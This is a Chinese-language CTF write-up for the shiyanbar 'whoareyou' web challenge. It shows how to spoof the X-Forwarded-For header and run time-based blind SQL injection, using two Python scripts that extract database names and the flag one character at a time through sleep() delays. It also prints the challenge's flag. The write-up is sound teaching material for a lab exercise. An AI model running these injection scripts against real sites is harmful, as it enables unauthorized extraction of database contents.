首页 » Network_security » CTF » 正文

实验吧ctf->web.whoareyou writeup

www.shiyanbar.com/ctf/1941

我要把攻击我的人都记录db中去!

 

一看题目,初步的想法就是记录访问ip到数据库,再打印返回。

明显就是有注入了。

接着就没思路了,看看高手们的writeup,额,时间盲注,没怎么玩过,真尴尬……

由于是记录ip,所以想到请求头中和ip有关的字段如下:

X-Forwarded-For

Client-IP

x-remote-IP

x-originating-IP

x-remote-addr

这里用Client-IP不行,接着尝试X-Forwarded-For成功伪造ip,关于X-Forwarded-For字段可以参考简谈X-Forwarded-For的一些事

还有如果有逗号则只保留逗号前面的内容,估计是取client。不影响盲注。

参考网上的脚本(来源:blog.csdn.net/qq_35078631/article/details/54773769):

# -*- coding:utf-8 -*-  
import requests
import string 
url = "http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess = string.lowercase+string.uppercase+string.digits+string.punctuation
database=[]

for database_number in range(0,100):        #假设爆破前100个库
    databasename=''
    for i in range(1,100):                  #爆破字符串长度,假设不超过100长度
        flag=0
        for str in guess:                   #爆破该位置的字符
            #print 'trying ',str
            headers = {"X-forwarded-for":"'+"+" (select case when (substring((select schema_name from information_schema.SCHEMATA limit 1 offset %d) from %d for 1)='%s') then sleep(5) else 1 end) and '1'='1"%(database_number,i,str)}
            try:
                res=requests.get(url,headers=headers,timeout=4)
            except:
                databasename+=str
                flag=1
                print '正在爆破第%d个数据库名,the databasename now is '%(database_number+1) ,databasename
                break
        if flag==0:
            break
    database.append(databasename)
    if i==1 and flag==0:
        print '扫描完成'
        break

for i in range(len(database)):
    print database[i]

稍微解释下sql语句的几个部分:

SUBSTRING(str FROM pos FOR len):

从第pos个字符开始到len长的字符。

 

Case when then else end

–简单Case函数CASE sex

WHEN ‘1’ THEN ‘男’

WHEN ‘2’ THEN ‘女’

ELSE ‘其他’ END

–Case搜索函数

CASE WHEN sex = ‘1’ THEN ‘男’

WHEN sex = ‘2’ THEN ‘女’

ELSE ‘其他’ END

 

limit offset连用

① select * from table limit 2,1;

//含义是跳过2条取出1条数据,limit后面是从第2条开始读,读取1条信息,即读取第3条数据

② select * from table limit 2 offset 1;

//含义是从第1条(不包括)数据开始取出2条数据,limit后面跟的是2条数据,offset后面是从第1条开始读取,即读取第2,3条

 

同理根据位置查询出表名flag,列名flag(直接猜也行)。

最后查询flag内容(脚本来源:http://blog.csdn.net/qq_35078631/article/details/54773769

#-*-coding:utf-8-*-
import requests
import string
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php"
guess=string.lowercase + string.uppercase + string.digits
flag=""

for i in range(1,100):
    havetry=0
    for str in guess:
        headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)}
        try: 
            res=requests.get(url,headers=headers,timeout=6)
        except requests.exceptions.ReadTimeout, e:
            havetry=1
            flag = flag + str
            print "flag:", flag
            break
    if havetry==0:
        break
print 'result:' + flag

用ctf{cdbf14c9551d5be5612f7bb5d2867853}提交就可以通过了。

也可以用burpsuite或者sqlmap写tamper,参考www.jianshu.com/p/5d34b3722128

 

Comment